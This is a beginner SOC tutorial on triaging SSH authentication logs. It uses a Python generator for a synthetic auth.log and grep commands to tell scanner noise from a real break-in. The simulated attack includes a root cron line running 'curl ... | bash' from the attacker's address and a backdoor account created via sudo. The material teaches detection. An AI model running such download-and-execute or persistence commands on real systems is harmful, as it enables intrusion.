SIEM and security operations · Beginner

Reading authentication logs and triaging an alert

5 min read

Why it matters

SIEM and security operations appeared in three quarters of the Cybersecurity Engineer job descriptions we read, and in nine out of ten junior ones. The core skill is reading logs and deciding quickly whether something is normal, noise or an incident. Tools change; this skill does not.

The concept

Log sources. Authentication logs (/var/log/auth.log on Debian and Ubuntu, Windows security events), endpoint detection (EDR), firewall and DNS logs, cloud audit logs (CloudTrail, Azure activity logs) and application logs. A SIEM collects them in one place, parses fields and runs detections.

Triage routine for each alert:

  1. What fired and why? Read the rule and the raw events.

  2. Context. Is the source internal or external? Is the account privileged? Is this normal for this host or user?

  3. Scope. What else did this source or account do before and after?

  4. Decide. False positive (tune the rule), benign true positive (document), or incident (escalate with evidence).

Noise versus signal. Every internet-facing SSH server sees constant guessing from scanners. Failures alone are noise; a success after failures, or a success in an unusual way, is signal.

Worked example: a night on web-01

Generate the practice log (a synthetic day with office logins, an internet scanner and one real attack):

make_logs.py
"""Write a synthetic but realistic sshd log for practice (no real hosts or people)."""
import random
from datetime import datetime, timedelta

random.seed(42)
start = datetime(2026, 9, 29, 0, 0, 0)
users = ["asha", "ravi", "deploy", "meera"]
office_ips = ["10.20.1.15", "10.20.1.22", "10.20.1.31"]
lines = []


def log(ts, pid, msg):
    lines.append((ts, f"{ts:%b %d %H:%M:%S} web-01 sshd[{pid}]: {msg}"))


# Normal day: staff log in with keys, a few typo'd passwords.
for _ in range(120):
    ts = start + timedelta(seconds=random.randint(8 * 3600, 19 * 3600))
    user, ip = random.choice(users), random.choice(office_ips)
    if random.random() < 0.08:
        log(ts, random.randint(1000, 9999), f"Failed password for {user} from {ip} port {random.randint(40000, 65000)} ssh2")
    log(ts + timedelta(seconds=3), random.randint(1000, 9999), f"Accepted publickey for {user} from {ip} port {random.randint(40000, 65000)} ssh2")

# Internet noise: a scanner trying common names, never succeeding.
for i in range(40):
    ts = start + timedelta(hours=2, seconds=i * 20)
    log(ts, 3000 + i, f"Invalid user {random.choice(['admin', 'test', 'oracle', 'ubuntu'])} from 203.0.113.50 port {50000 + i}")

# The incident: password guessing against 'deploy', then a success from the same address at 02:47.
for i in range(35):
    ts = start + timedelta(hours=2, minutes=40, seconds=i * 11)
    log(ts, 4000 + i, f"Failed password for deploy from 198.51.100.23 port {51000 + i} ssh2")
log(start + timedelta(hours=2, minutes=47, seconds=2), 4100, "Accepted password for deploy from 198.51.100.23 port 51999 ssh2")

# After the break-in: privilege use, a new account and persistence.
t = start + timedelta(hours=2, minutes=47)
lines.append((t + timedelta(seconds=40), f"{t + timedelta(seconds=40):%b %d %H:%M:%S} web-01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/sbin/useradd -m -s /bin/bash backup2"))
lines.append((t + timedelta(seconds=41), f"{t + timedelta(seconds=41):%b %d %H:%M:%S} web-01 useradd[4121]: new user: name=backup2, UID=1005, GID=1005, home=/home/backup2, shell=/bin/bash"))
lines.append((t + timedelta(seconds=95), f"{t + timedelta(seconds=95):%b %d %H:%M:%S} web-01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/crontab -e"))
lines.append((t + timedelta(minutes=5), f"{t + timedelta(minutes=5):%b %d %H:%M:%S} web-01 CRON[4190]: (root) CMD (curl -s http://198.51.100.23/u.sh | bash)"))

with open("auth.log", "w") as f:
    for _, line in sorted(lines):
        f.write(line + "\n")
print(len(lines), "lines written")

Now read it the way an analyst would:

shellsession
$ python3 make_logs.py
209 lines written
$ grep -c "Failed password" auth.log
44
$ grep -E "Failed password|Invalid user" auth.log | grep -oE "from [0-9.]+" | sort | uniq -c | sort -rn | head -3
     40 from 203.0.113.50
     35 from 198.51.100.23
      4 from 10.20.1.22
$ grep -oE "Invalid user \w+" auth.log | sort | uniq -c | sort -rn
     11 Invalid user test
     11 Invalid user admin
     10 Invalid user oracle
      8 Invalid user ubuntu
$ grep "Accepted publickey" auth.log | wc -l
120
$ grep "Accepted password" auth.log | wc -l
1
$ grep "198.51.100.23" auth.log | grep -v "Failed password"
Sep 29 02:47:02 web-01 sshd[4100]: Accepted password for deploy from 198.51.100.23 port 51999 ssh2
Sep 29 02:52:00 web-01 CRON[4190]: (root) CMD (curl -s http://198.51.100.23/u.sh | bash)

Reading the results:

  • 203.0.113.50 tried 40 usernames that do not exist on this server. That is an automated scanner: noisy but harmless, because it never guessed a real account.

  • The four failures from 10.20.1.22 are office staff mistyping passwords before logging in with keys. Normal.

  • 198.51.100.23 is different: 35 guesses against a real account, deploy, then the only password login of the day succeeds, and five minutes later root's cron downloads a script from the same address and runs it. This is an incident.

Triage decision: escalate as a confirmed compromise of deploy on web-01, with the evidence above. The response is the subject of the incident response shelf.

Common mistakes

  • Alerting on every failed login. Analysts stop reading alerts that are almost always noise.

  • Stopping at the first finding. Always look at what the source and account did next.

  • Ignoring the success path. Most detections that matter look for a success that should not happen.

  • No notes. Write down what you checked and why you decided, so others can review and learn.

Interview angle

"Here is a log sample. What happened?" is a common SOC interview task. Structure your answer: noise you can dismiss and why, the suspicious sequence, its impact, and your next steps. Also expect "what is a false positive and how do you reduce them?" and "which logs would you collect first for a web server?".

Practice task

  1. Change the generator so the attacker logs in with a key instead of a password after the guessing. Which of your commands still finds it?

  2. Write a one-paragraph escalation note for the incident, with times, evidence and a recommended first action.

Further reading